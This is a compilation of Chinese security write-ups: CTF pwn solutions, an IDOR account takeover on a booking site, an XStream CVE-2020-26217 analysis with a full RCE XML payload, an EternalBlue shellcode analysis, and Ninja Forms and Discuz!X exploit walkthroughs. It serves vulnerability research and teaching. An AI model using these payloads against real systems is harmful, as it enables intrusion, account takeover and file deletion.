SplitResult(scheme='file', netloc='def', path='', query='', fragment='')
这就很明显了，我们成功的把 `path` 变成了 `netloc`。
再看回这道题，首先不能让他为 `suctf.cc`，但是经过了 `urlunsplit` 后变成
`suctf.cc`，很容易就构造出：`file:////suctf.cc/../../../../../etc/passwd`，这样就能读取文件了。
这里推荐一个师傅的 `ctf` 平台：<https://buuoj.cn/challenges#[SUCTF%202019]Pythonginx>
有这道题的环境，可以试试。里面也有很多别的比赛的题目，质量还可以。 | 社区文章 |
# 2018西普杯全国高校信息安全铁人三项大赛-河南赛区个人赛题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2018西普杯全国高校信息安全铁人三项大赛-河南赛区个人赛出了三道pwn,简单做了一下，在这里分享一下我的做题记录以及思路。
题目下载地址：<https://github.com/moonAgirl/CTF/tree/master/2018/TieRan/HN>
##
## brain-stack
程序提供了四个命令
> : tape_ptr 地址减一
< : tape_ptr 地址加一
R : 读取tape_ptr 地址保存的四个字节
W : 往tape_ptr 地址处写入四个字节
这里能想到两个思路：
### 思路一
先将tape_ptr一直减，减到got段区
再利用R命令泄露libc地址，因为题目提供了libc，就可以计算出所需要的符号地址，我这里是通过计算one_gadgets地址
one_gadgets项目地址：<https://github.com/david942j/one_gadget>
one_gadgets使用命令：
$ one_gadget ./libc32
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL
0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
esi is the GOT address of libc
[esp+0x30] == NULL
0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x5f065 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x5f066 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
之后利用W命令将one_gadgets写入got，我选择写入write_got,写入以后，再之后调用write函数时就相当于调用one_gadget.get
shell!.
脚本地址：<https://github.com/moonAgirl/CTF/blob/master/2018/TieRan/HN/brain-stack/brain-stack1.py>
### 思路二
程序中将栈地址保存进了bss段
我们将libc泄露，计算one_gadget.再泄露栈地址，计算函数返回地址
再利用<命令一直减到返回地址，将返回地址覆盖为one_gadgets.那么在函数返回时即可get shell.
脚本地址：<https://github.com/moonAgirl/CTF/blob/master/2018/TieRan/HN/brain-stack/brain-stack2.py>
这题和pwnbale.kr上的一道题brainfuck很相似，大家可以去看一下
## game4
这题采用单链表形式存储申请的node，相关结构体如下：
t_node struct {
fn_cleanup cleanup;
t_node *next;
t_entry entry;
}
t_entry struct {
char name[32];
char phone_number[16];
}
漏洞点在于编辑name和phone时可以有机会覆盖下一结构的内容
那么我们先申请两个节点
add('aaaa','1111')#1
add('bbbb','2222')#2
通过第一个节点将第二个节点的next域改写为got段地址
payload = 'Y'*(16 + 16 + 8) + 'xe8x1fx60'
edit(1,'cccc',payload)
这样我们就伪造了第三个节点，下面我们输出三号节点的内容就可以泄露libc地址，进而计算相关符号地址
之后故技重施，通过第一个节点将第二个节点的next域改写为free_hook地址
payload = 'Y'*(16 + 16 + 8) + chr(int(a1,16))+chr(int(a2,16))+chr(int(a3,16))+chr(int(a4,16))+chr(int(a5,16))+chr(int(a6,16))
edit(1,'cccc',payload)
之后编辑三号node就可以往free_hook地址处写，我们写入one_gadget,这样在调用free函数时就可以get shell.
脚本地址：<https://github.com/moonAgirl/CTF/blob/master/2018/TieRan/HN/game4/ctf.py>
## xueba
这题开启了所有保护，并且程序段也开启了随机化。
这题我尝试了两个思路，第一个失败了
### 思路一(失败）
因为程序在free之后没有清空指针，造成uaf
所以这里我先申请两个堆块，再将它们释放，再申请一块堆，新申请的堆是前边两个堆框大小的和，这样就可以控制前边两个堆块的内容
我们再堆中构造一个fake_chunk，再释放之前释放的2号堆，就可以通过unlink，之后就是套路了。
可是这里开启了程序段随机化，我不知道bss段地址，无法获取保存堆地址的bss地址，因此思路一失败。
### 思路二(成功）
思路一失败之后，我开始把目光转向fastbin attack.调试了一番发现可行
add(0x60,'a'*0x10 + 'x01','1'*0x28)#1
add(0x60,'a'*0x8 + 'b','1'*0x28)#3
remove(1)
remove(3)
edit(1,'x00x01')
remove(1)
如上代码所示，先申请两块0x60大小的堆块，再利用double free在fastbin里造成loop chunk.
off = 0x7fa069cfab10 - 0x7fa069cfaaf5
addr = data - 0x68 - off
add(0x60,'a'*8,p64(addr - 8))#1
add(0x60,'a'*8,p64(addr - 8))#3
add(0x60,'a'*8,p64(addr - 8))#4
print 'one_gadget:' + hex(libc_base + 0x4526a)
padd = 0x7fa069cfab10 - (0x7fa069cfaaf5 + 8)
add(0x60,'a'*8,'a'*padd + p64(libc_base + 0x4526a))#4
如上代码所示，我先申请了一块堆块并将该堆块的fd域覆盖为free_hook对应的地址，这样在之后的fastbin申请中我们可以申请到free_hook地址处的内存，并对free_hook进行写入，我么依旧写入one_gadget.
这样在调用free函数时就可以get shell.
脚本地址：<https://github.com/moonAgirl/CTF/blob/master/2018/TieRan/HN/xueba/xueba.py>
## 总结
总的来说这几个题目不算难，因为今年也参加了铁人三项，所以在吾爱破解上看到有人分享题目就下载下来做了一下。希望我自己比赛的时候可以发挥好一点。
相关链接：<https://www.52pojie.cn/thread-735986-1-1.html> | 社区文章 |
PS:萌新发文能力有限，还在通宵看各位师傅们的文章，学习新姿势
记录一次奇妙原因的逻辑漏洞挖掘
# 背景
**终于开学啦，与许久未见的同学们来一场篮球(*人运动)。夏日炎炎，只能傍晚时分与同学们相约球场，一场大汗淋漓的运动过后，同学们争先恐后向着澡堂出发。但是由于疫情的原因澡堂限流，并且使用公众号预约，这时就要考验同学们的手速和运气了。恰好就在那天打完篮球的晚上，我在疯狂点击预约界面，主要是通宵看师傅们的文章，最近手速也跟不上了（dog），且那天运气不太行。澡堂没预约上，只能去厕所随便洗洗了。这时躺在床上的我夜不能寐，于是便有了，下面这次的漏洞挖掘。**
# 0x01 确认目标 信息搜集
进入预约澡堂的公众号，选择学校预约澡堂
选择使用的浏览器打开，得到完整的 URL：<http://xxx.xxx.com:8082/brmclg/>
没提示使用微信客户端打开，这时就是常规的web渗透思路了
查看一下端口，8080，8081，8082 分别对应着三个学校的预约系统。
指纹信息
# 0x02 挖掘
由于目标系统建立在云平台，并且指纹信息比较少，进行一些常规的传统漏洞探测无果
## 转移战场--理清业务逻辑
burp上号.jpg 用我的账号进行登录
经过抓包发现，我在登陆时生成了一个 "id" : 20627
为了验证这个值是不是随机的，经过与室友一波交流，也借来他的号用来测试 发现并不是随机的
"id" : 20626 心中狂喜 有搞头
选择一个时间段的浴室进行预约
抓包查看预约的过程，看到关键点loginid=20627
### 系统登录，生成一个"id"值 ，浴室预约过程中带着 "id"进行请求，这时我就进行水平越权尝试
将进行浴室预约的包进行重放，包中loginid=20627改为20626发送
成功！ 登录室友账号查看 已经帮他约好了嘿嘿
### 已知修改id可以造成水平越权，继续查看其它功能
查看修改密码处，进行了旧密码校验
查看修改个人信息处 也带有参数id 那就可以造成水平越权并且修改他人邮箱
### 水平越权到修改任意用户密码
修改邮箱有什么用呢？回去查看找回密码功能通知
忘记密码只能通过邮箱找回
对刚刚的包进行重放 修改id 为20626
成功修改 这时忘记密码 室友的号就到手了
该漏洞已经提交给相关部门，并且已经完成了修复。
# 0x03总结
引用前辈们的金句“渗透测试的本质是信息搜集”
通过这次的漏洞测试更加清楚的认识到了信息搜集的重要性
不仅仅是传统的子域名，ip，C段，端口、指纹。
（这些资产信息可能被师傅过了一轮，到我这个萌新时，那些薄弱的站不是下线，就是改成“开局一个登陆框，里面内容全靠猜”）
更要搜集一些与相关的测试信息：
* 1、搜集系统可能存在的账号和密码。
* 2、理清系统的逻辑系统
* 3、尽量搜集全的资产范围内的信息，公众号、一些隐藏资产 | 社区文章 |
# XStream反序列化CVE-2020-26217漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
近期，XStream发布了关于[CVE-2020-26217](https://x-stream.github.io/CVE-2020-26217.html)的公告，通过该漏洞攻击者可发送恶意构造的xml，在受影响版本(<=1.4.13)的XStream上直接RCE。
## XStream反序列化原理
与传统的Java反序列化不同，XStream反序列化的触发不依靠`readObject`，而是使用`Converter`(转换器)中的`unmarshal`。而Converter根据源码的注释，其用途为对象与xml文本之间的相互转换。
下面用一个简单的例子来演示，首先我们定义一个`User`类
public class User {
public String username;
}
然后使用XStream加载
XStream xStream = new XStream();
User user = (User)xStream.fromXML(new File("/Users/dinfinite/IdeaProjects/xstream/src/main/resources/payloads/user.xml"));
由于User类并未在`Converter`的转换类型中，因此使用`ReflectionConverter`进行`unmarshal`，该转换器判断能否转换的逻辑如下，即类存在且可访问
调用`unmarshal`将xml还原为`User`对象，完成反序列化的过程
## XStream历史漏洞
在XStream过往的漏洞中，利用的核心为`DynamicProxy`类和`EventHandler`类，当存在`dynamic-proxy`标签时，会使用`DynamicProxyConverter`进行`unmarshal`，该操作会构造一个由用户指定`handler`的对应代理对象。
而恰好`EventHandler`的`invoke`函数支持执行任意方法(根据传入的参数)
因此XStream官方的修复方式为,实现了一个类为`InternalBlackList`(黑名单转换器),当属性值为`java.beans.EventHandler`时，抛出异常，因此基于该类型的poc均失效
## 漏洞复现
以下为官方公告中给出的POC
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>open</string>
<string>./</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
通过XStream加载上述XML，成功弹出计算器
## 漏洞分析
由于该漏洞触发链较长，为了便于理解，将整体的利用链分成四部分。
### 入口
由于`DynamicProxy`类和`EventHandler`类的组合拳失效，因此这次漏洞并没有利用动态代理转换器，漏洞的触发点在`MapConverter`中，其`unmarshal`函数如下
可以看到，传入的XML文本(转换为reader)，被传递到了填充map的函数中，进一步跟进，流程走到了`putCurrentEntryIntoMap`函数中，该函数的作用为将对应的key和value(从XML中解析，对应POC中的`<jdk.nashorn.internal.objects.NativeString>`和`<string>`)放到HashMap中，由此触发HashMap的`put`方法，进入纽带1阶段
### 纽带1
由于在Java中HashMap需要计算HashCode，因此作为key的`jdk.nashorn.internal.objects.NativeString`，会调用其`hashCode`方法
### 纽带2
由于`jdk.nashorn.internal.objects.NativeString`的`hashCode`会先调用`getStringValue()`，它调用当前类的属性`value`的`toString`方法,由于`value`为`com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data`类，它的`toString`会触发自身的`get`函数
`get`函数调用`readForm`读取自身的`DataSource`中的`InputStream`
### 终点方法
在读取的过程中，会遍历`InputStream`中的子元素
而`javax.swing.MultiUIDefaultsEnumerator`类的`nextElement`，会调用自身迭代器的`next`函数，其`next`函数中额外调用了`advance`函数
`advance`函数额外调用了`filter`属性的`filter`方法
`javax.imageio.ContainsFilter`类的`filter`方法如下
可以看到，只要`method`以及`elt`可控，即可执行任意类任意方法，实现RCE。而`method`和`elt`在先前的`ReflectionConverter`中，已经填充完毕，对应POC中的`<filter>`和`<iter>`元素。
## 漏洞修复
其实官方早在`1.4.7`的时候，就加入了针对XStream自身的安全框架
然而框架本身并未提供任何默认策略，需要用户手动调用`addPermission`进行配置，因此，在`1.4.13`之前的版本，其防御手段都是依靠修改`Converter`，包括`InternalBlackList`和`ReflectionConverter`，在转换时将其拦截。在`1.4.13`中，默认加入了`EventHandler`的黑名单
在`1.4.14`中，加入了`java.lang.ProcessBuilder`和`javax.imageio.ImageIO$ContainsFilter`的黑名单
当我们在`1.4.14`中再次执行POC时，会发现抛出了`ForbiddenClassException`异常。
跟踪其调用栈，发现`SecurityMapper`会存取到`Converter`当中，当`Converter`试图获取标签的类时，会先遍历自身的`Mapper`(其中包括`SecurityMapper`)
此时假设匹配到黑名单类，直接抛出异常。
## 参考链接
[Java
XStream反序列化漏洞](https://www.mi1k7ea.com/2019/10/21/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/) | 社区文章 |
# 【技术分享】EternalBlue Shellcode详细分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[Tmda_da](http://bobao.360.cn/member/contribute?uid=2920174360)
预估稿费：400RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x0 前言**
说来很惭愧，EnternalBlue
已经出来很久了，最近才开始分析，漏洞原理和环境搭建网上已经烂大街了，因此这篇文章只分析Shellcode，调试平台如下：
windows 7 sp1 en 32 位
Windbg
Eternalblue
Doublepulsar
Wireshark
断点方法是将Shellcode中的31c0修改为CCCC（int 3）后发送，成功断下来后再通过ew(fdff1f1) c031即可。该Shellcode
大致分为三段： 0x1，hook nt! kiFastCallEntry篇； 0x2， 主要功能篇；0x 3， 后门通信篇，下面来逐一进行介绍。
**0x1 Hook ntdll! kiFastCallEntry篇**
这部分代码功能比较简单，
但还是值得学习：首先是判断系统环境，作者用法比较巧妙，利用了x86和x64系统通过对二进制指令的解析不同来判断系统环境（64位环境没有调试，直接用IDA查看，
如下图。
1.1 x86环境
1.2 x64位环境
可以发现同样一段二进制代码, 在x86环境下eax=1 ， x64环境下 eax = 0。 紧接着通过读取MSR的176号寄存器（放着nt!
kiFastCallEntry函数地址）（这里还有简单的混淆），将其保存在Shellcode的末尾位置（Shellcode末尾空置了0x1d
byte），然后再将第二段Shellcode的地址存放在MSR 176号寄存器中实现对nt! kiFastCallEntry函数的hook。
1.3 简单混淆
1.4 hook nt!kiFastCallEntry
1.5 hook前的情况
1.6 hook后的情况
为什么要hook kiFastCallEntry?
在Ring3应用程序需要调用ring0函数的时候， 会通过ntdll!kiFastSystemCall 函数，该函数的内容如下：
mov edx, esp
sysenter
ret
Ring3层最终通过 sysenter 调用内核函数
nt!KiFastCallEntry实现空间转换。因此只要存在用户空间需要调用内核函数，都会调用这个函数。
**0x2 主要功能篇**
首先是获取到上一段Shellcode功能中保存末尾的kiFastCallEntry实际地址，然后写入MSR的176号寄存器中，恢复kiFastCallEntry。
2.1 unhook KiFastCallEntry
接下来获取ntoskrnl.exe 的基地址，fs:[0x38]
指向_KIDTENTRY表结构的开始地址，也指向0号中断，将0号中断的ExtendedOffset
和Offset组合成地址，就是0号中断处理函数地址。而这个函数位于ntoskrnl.exe中，因此该空间在ntoskrnl.exe进程空间中，在这个地址对齐（&0x00F000）处理后只需要每次减0x1000，然后比较前两位的PE(MZ)文件标识，最后一定能找到ntoskrnl.exe的基地址地址。
2.2. 寻找ntoskrnl.exe基地址
2.3 0号中断结构信息
找到ntoskrnl.exe的基地址后，利用应用层常用的查找函数地址方式查找ntoskrnl.exe导出表中的函数地址（此代码中的所有函数名和文件名都采用了hash处理），分别是
1， ExAllocatePool
2， ExFreePool
3， ZwQuerySystemInformationEx
2.4 根据hash 获取函数地址
函数寻找完成后，便是将后门程序hook到SrvTransaction2DispatchTable表中的函数SrvTransactionNotImplemented地址上，至于为什么要挑选这个函数我认为主要有以下三个原因：
1， 不增加无关网络协议连接，直接利用SMB协议进行数据传输（可以达到隐藏流量的目的，估计这也是为什么到公布了利用工具后才发现漏洞的原因）。
2，
通过查看SrvTransaction2DispatchTable表结构，我们有两个函数在这个表中出现了两次以上SrvSmbFsct1（3次）和SrvTransactionNotImplemented
（2次），因此这两个函数更有利于hook。
3， 如果hook到SMB协议的常用处理函数，
那么这个函数的调用会比较频繁，那么处理过程就相对要复杂很多。而SrvTransactionNotImplemented的调用时在发送非正常Trans2
Request请求时才会调用，在正常情况下执行到这个函数的概率很小。
作者知道SrvTransaction2DispatchTable位于Srv.sys中的.data节中，所以作者采用了如下3个步骤实现寻找SrvTransaction2DispatchTable地址：
1，通过两次调用ZwQuerySystemInformationEx函数来获取所有内核模块的空间结构信息（_SYSTEM_MODULE_INFORMATION_ENTRY）表（第一次调用ZwQuerySystemInformationEx来获取
内核模块信息大小， 然后利用ExAllocatePool创建内存空间，在第二次调用ZwQuerySystemInformationEx来获取模块信息）。
2.5 获取内核模块信息结构体
2，通过依次对比_SYSTEM_MODULE_INFORMATION_ENTRY中的ImabeName 字符串来查找
srv.sys(此模块是SMB协议的主要模块)
2.6 查找srv.sys地址空间
3, 找到srv.sys的基地址后通过PE文件结构信息，最终后定位到.data节。
2.7 定位.data节信息
4，找到.data节后，最后进行内存搜索，根据SrvTransaction2DispatchTable的结构特征(见图2.9):
① 根据观察发现 SrvTransaction2DispatchTable[9], SrvTransaction2DispatchTable[11],
SrvTransaction2DispatchTable[12]的值都相同， 都指向srv!SrvSmbFsct1；
②SrvTransaction2DispatchTable 中的函数指针跟SrvTransaction2DispatchTable在同一个地址领空，
因此最高8位的地址应该相同；
③SrvTransaction2DispatchTable[18h] = 0；
根据这三个特征来顺序搜索.data节空间，可以定位到SrvTransaction2DispatchTable的基地址。
2.8查找SrvTransaction2DispatchTable地址
2.9 SrvTransaction2DispatchTable结构信息
找到SrvTransaction2DispatchTable后开始为hook
后门程序做准备，先重新分配一块0x400大小内存空间bdBuffer，首先将前0x48字节中存放一些地址信息，因此顺序为：
（此处的ebp+4我猜测是作者的一点小失误，应该是
ebp-14h对应函数地址ZwQuerySystemInformationEx，不过对后边后门程序基本没有影响也就无法验证）。
并且将上述几个地址和空间结束地址进行异或后的值存放在bdBuffer+0x24地址处，作为后门程序首次使用时的异或key的引子（后门程序所使用的异或key是通过这个值变换而来）。接下来便将后门程序拷贝到bdBuffer+0x48处，然后将
bdBuffer + 0x48赋值给SrvTransaction2DispatchTable[14]中， 实现hook后退出。
2.10 保存函数地址，拷贝后门程序
2.11 Hook SrvTransactionNotImplemented前后对比
**0x3 后门通信篇**
这个模块需要配合Doublepulsar程序，因此就一起分析了下，本文主要分析EternalBlue中的Shellcode，所以就对Doublepulsar的分析此处就不写了，主要配合Wireshark进行分析。
首先是获取空间起始地址获取给ebp，然后获取到已经够造好的SmbBuffer中。
3.1 获取相关信息
在函数85bbd239中，获取最终返回的SMB
返回数据包地址赋值到ebp+0x38。至于这个过程如何得到的，我也没有仔细跟，应该跟SMB协议结构有关系（先将就着用吧）。
3.2 获取SMB 返回数据包地址
接着是计算解码密钥，计算过程在85bbd1a8中，比较简单 key = (A*2) ^ bswap(A),
然后将结果赋值到ebp+0x28中，具体过程如下：
3.3 根据解码引子计算解码key
函数85bbd1e9是获取SMB发送数据数据段的相关结构，对SMB数据结构在内存中的表现形式不太了解，我也还没太搞明白。
获取完这些后，接着判断命令类型，计算过程使根据发送的数据包的TimeOut,中的逐字节相加得到：
3.4 计算命令类型
3.5 抓取的Trans2 Request数据包
判断命令类型，主要有三个命令，0x23 -> 检查后门是否存在， 0x77 –> 卸载后门， 0xC8 执行Shellcode。
3.6 命令类型判断
**0x3.1 检查后门是否存在 0x23**
当接收到的命令是0x23后，做的事情，将ebp+0x24中存放的密钥引子写入到返回数据包的Signature前4个字节中，将系统位数信息存放在Signature的第5个字节中。如下所示：
3.7 后门检测处理过程
然后将返回数据包的Multiplex ID加0x10后 跳转到真正的SrvTransactionNotImplemented地址继续执行。
执行结果如下(两次结果不一样，是因为不是同一个过程里边抓到的数据包，调试过程中，分析太久SMB就自动退出链接)：
3.8 检测后门反馈数据包
**0x3.2 卸载后门 0x77**
卸载后门的过程也相对较为简单，清空并释放掉以前分配的空间，然后unhook
SrvTransactionNotImplemented函数后，设置返回数据包的Multiplex ID
+=0x10恢复SrvTransactionNotImplemented的相关条件后退出，由系统在调用一次正常的SrvTransactionNotImplemented即可。
3.9 卸载后门过程
**0x3.3 执行命令 0xc8**
此过程主要包括组装数据（Doublepulsar的攻击数据根据大小拆分成一个或多个Trans2 Request数据包）和执行两个功能，主要流程如下:
Step 1, 解密数据包的SESSION_SETUP
Parameters参数,获取当前数据的总长度total_len，当前数据包长度current_len和
当前数据包在整个数据包的位置current_pos；
3.10 计算数据包信息
3.11 数据包信息存放位置
Step 2, total_len 和存放总长度存放位置（ebp+0x30）的值进行比较，如果不相等则说明这是第一个数据包或者是错误数据包都
需要重新开始转到Step 3, 否则转到Step4；
Step 3, 如果内存空间存放处 ebp + 0x2C 不为这将其空间清零后释放，然后在分配一块长度为（total_len +
4）的空间,地址为buffer_addr，如果内存分配失败则跳转到Step 10, 然后将ebp+0x30 的值设置为total_len +4,
ebp+0x2c 的值设置为buffer_addr；
3.12 分配存放数据包空间
Step 4, 如果current_pos + current_len >total_len，则表示数据包出错， 跳转到Step 9;
Step 5, 将接收到的数据packet_data 拷贝到 buffer_addr + current_pos处， 然后对这段拷贝的数据解码;
3.13 拷贝数据并解码
Step 6, 如果解码完成后的位置pos < buffer_addr+ total_len 则表示数据包没有接收完成，转到Step 8, 否则转到Step
7;
Step 7 , 直接执行（call）buffer_addr, 执行完成后， 清除并释放掉buffer_addr，并重新计算密钥引子和解密密钥；
3.14 执行解码后的数据，重新生成解码引子和解码key
Step 8 , 将发送的SMB Reponse 中Multiplex ID + 0x10 （执行成功） ,转到Step 11;
Step 9, 将发送的SMB Reponse 中Multiplex ID + 0x20 （非后门需要的数据包）,转到Step 11;
Step 10, 将发送的SMB Reponse 中Multiplex ID + 0x30 （内存分配失败）,转到Step 11;
Step 11, 跳到真正的SrvTransactionNotImplemented中执行。
**0x4 写在最后**
这是小菜第一次内核调试，查了很多资料，学了很多内核相关知识，也学到了EternalBlue作者的一些奇淫技巧。但是还是有很多不清楚的地方，希望各位大牛不吝赐教
**0x5 参考文献**
【1】NSA Eternalblue SMB 漏洞分析 <http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/>
【2】NSA Eternalblue SMB 漏洞分析
<http://www.myhack58.com/Article/html/3/62/2017/85358_4.htm> | 社区文章 |
## 前言
Ninja Forms是一款WordPress插件。使用Ninja Forms插件无需编码即可以创建美观、用户友好的WordPress表单。据统计，全球超过
2,000,000 个网站正在使用 Ninja Forms。
Ninja Forms 3.4.24.2之前的所有版本中存在一个严重的CSRF to
XSS漏洞。成功利用此漏洞可以使得攻击者将WordPress网站中启用的Ninja
Forms表单替换为包含恶意JavaScript的表单。当用户使用这些表单时触发xss漏洞。
## 漏洞分析
根据漏洞披露来看，本次漏洞存在于ninja-forms\lib\NF_Upgrade.php文件
ninja_forms_ajax_import_form函数
在分析漏洞之前，我们先来了解下这个存在漏洞的文件是做什么用的。存在漏洞的文件名为NF_Upgrade.php，从字面意义上来看，是升级的意思，但这个文件的功能并不是如同其命名（Upgrade）那样用来升级ninja-forms插件版本，而是涉及到ninja-forms的一个特殊功能——“降级”
Ninja Forms插件中存在着一个名为 “降级”的功能。使用该功能用户可以将其表单样式和功能恢复为该插件2.9.x版本
使用降级后，将删除目前安装的3.0版本的所有表单数据。因此该功能提示用户在使用该功能前导出表单数据。
从后台代码来看，点击降级按钮后，程序启用位于deprecated路径的旧版ninja-forms入口文件
下图是位于deprecated路径的2.x版本ninja-forms入口文件
作为降级功能的一部分，ninja-forms编写了NF_Upgrade.php文件，文件中AJAX函数旨在在使用“降级”模式时可以导入正常模式中导出的表单
在了解了NF_Upgrade.php文件存在的意义之后，接下来分析下NF_Upgrade.php文件中存在漏洞的ninja_forms_ajax_import_form函数
NF_Upgrade.php文件在25行处通过add_action注册了一个连接到ninja_forms_ajax_import_form函数的hook
因此可以通过访问如下链接来触发ninja_forms_ajax_import_form函数
在了解了ninja_forms_ajax_import_form函数如何通过请求调用后，继续分析该函数
ninja_forms_ajax_import_form函数在27行处检验了用户权限
在29行处获取POST请求中import参数，在31行处获取POST请求中formID参数
程序在35行处将POST中提交的import参数与formID参数传入import_form函数中进行导入处理
ninja_forms_ajax_import_form函数的作用，从对上文代码的理解，应该是用来给管理员提供导入表单功能用的。
但是ninja_forms_ajax_import_form函数在安全上仅仅校验了使用者的权限，这点确实可以防止未授权访问的发生，但并未校验提交表单中的csrf
token进行校验，并不能防范csrf漏洞，因此攻击者可以构造一个恶意页面链接诱骗管理员点击，从而向Ninja Forms插件提交一个导入恶意表单的请求。
ninja_forms_ajax_import_form函数接收POST传入的两个参数：import参数与formID参数，import参数中的内容是导入表单的数据，formID参数值是对应的表单id。经过实际测试发现，如果formID参数设置为一个已经存在的表单，则导入的表单内容将会覆盖原有表单。
在测试环境中有如下表单normal_form。攻击者可以通过查看使用该表单的页面源码来获得formID，这里normal_form的formID为2
normal_form是一个简单的单行文本表单
如果攻击者向在这个表单中插入一些恶意的js脚本，则可以在攻击时指定POST中formID为2
要覆盖的目标有了，但是导入的数据信息到底怎么构造呢？
回头看下ninja_forms_ajax_import_form函数
ninja_forms_ajax_import_form函数从POST请求中获取import参数，这个值就是导入模板的信息。接着程序将其传入import_form方法中进行导入处理。
$_POST[‘import’]值应该是什么样子的呢？只有知道了这个值的格式，我们才好构造payload
经过一番搜索，位于wp-content\plugins\ninja-forms\ninja-forms.php文件中
我们可以看到如上的代码
可见程序通过template方法读取位于wp-content\plugins\ninja-forms\includes\Templates\
文件夹的formtemplate-contactform.nff文件内容，并传入import_form接口
formtemplate-contactform.nff文件是这个样子的
到这里就很好办了，.nff文件正是ninja forms插件导出表单的默认格式。
因此利用思路比较清晰了
1. 攻击者在本地模仿目标表单模板构造一个含有恶意代码的表单模板
2. 通过ninja forms插件将其导出为.nff文件
3. 构造csrf页面，该页面会在管理员访问时发起csrf攻击，使用恶意的表单模板替换原有模板
4. 诱使管理员访问
5. 当用户与管理员使用这个恶意表单的页面时，xss将会被触发
现在已经理清利用思路，接下来构造一个恶意的.nff文件。模仿上文的normal_form表单，攻击者可以构造一个与之相似的恶意表单，与之不同的是，攻击者在描述处加入一行js脚本
攻击者将这个恶意的表单模板导出
导出的恶意表单部分内容如下
攻击者构造一个表单提交页面，表单提交的地址为<http://x.x.x.x/wordpress/wp-admin/admin-ajax.php?action=ninja_forms_ajax_import_form>
提交内容中import值为恶意文件内容、formID值为要覆盖的原normal_form的id，并诱使管理员点击页面链接
当攻击成功后，normal_form表单将会被恶意的表单覆盖
当用户使用该表单进行提交时
点击submit时xss被触发
不仅如此，当管理员在后台管理编辑该表单时，当进入编辑页面，xss仍然可以被触发
## 总结
该漏洞在3.4.24.2版中完全修复。在分析这个漏洞的过程中，发现ninja_forms插件非常的好用，推荐有需要的朋友可以试用下。 | 社区文章 |
作者：LoRexxar'@知道创宇404实验室
日期：2017年9月30日 英文版本：<https://paper.seebug.org/1101/>
#### 0x01 简述
[Discuz!X](http://www.discuz.net "Discuz!X")社区软件，是一个采用 PHP 和 MySQL
等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日，[Discuz!修复了一个安全问题](https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
"Discuz!修复了一个安全问题")用于加强安全性，这个漏洞会导致前台用户可以导致任意删除文件漏洞。
2017年9月29日，知道创宇404 实验室开始应急，经过知道创宇404实验室分析确认，该漏洞于2014年6月被提交到
Wooyun漏洞平台，Seebug漏洞平台收录了该[漏洞](https://www.seebug.org/vuldb/ssvid-93588
"漏洞")，漏洞编号 ssvid-93588。该漏洞通过配置属性值，导致任意文件删除。
经过分析确认，原有的利用方式已经被修复，添加了对属性的 formtype 判断，但修复方式不完全导致可以绕过，通过模拟文件上传可以进入其他 unlink
条件，实现任意文件删除漏洞。
#### 0x02 复现
登陆DZ前台账户并在当前目录下新建 test.txt 用于测试
请求
home.php?mod=spacecp&ac=profile&op=base
POST birthprovince=../../../test.txt&profilesubmit=1&formhash=b644603b
其中formhash为用户hash
修改成功之后出生地就会变为../../../test.txt
构造请求向`home.php?mod=spacecp&ac=profile&op=base`上传文件（普通图片即可）
请求后文件被删除
#### 0x03 漏洞分析
Discuz!X 的码云已经更新修复了该漏洞
<https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574>
核心问题在`upload/source/include/spacecp/spacecp_profile.php`
跟入代码70行
if(submitcheck('profilesubmit')) {
当提交 profilesubmit 时进入判断，跟入177行
我们发现如果满足配置文件中某个 formtype 的类型为 file，我们就可以进入判断逻辑，这里我们尝试把配置输出出来看看
我们发现formtype字段和条件不符，这里代码的逻辑已经走不进去了
我们接着看这次修复的改动，可以发现228行再次引入语句 unlink
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
回溯进入条件
当上传文件并上传成功，即可进入 unlink 语句
然后回溯变量`$space[$key]`,不难发现这就是用户的个人设置。
只要找到一个可以控制的变量即可，这里选择了 birthprovince。
在设置页面直接提交就可以绕过字段内容的限制了。
成功实现了任意文件删除
#### 0x04 说在最后
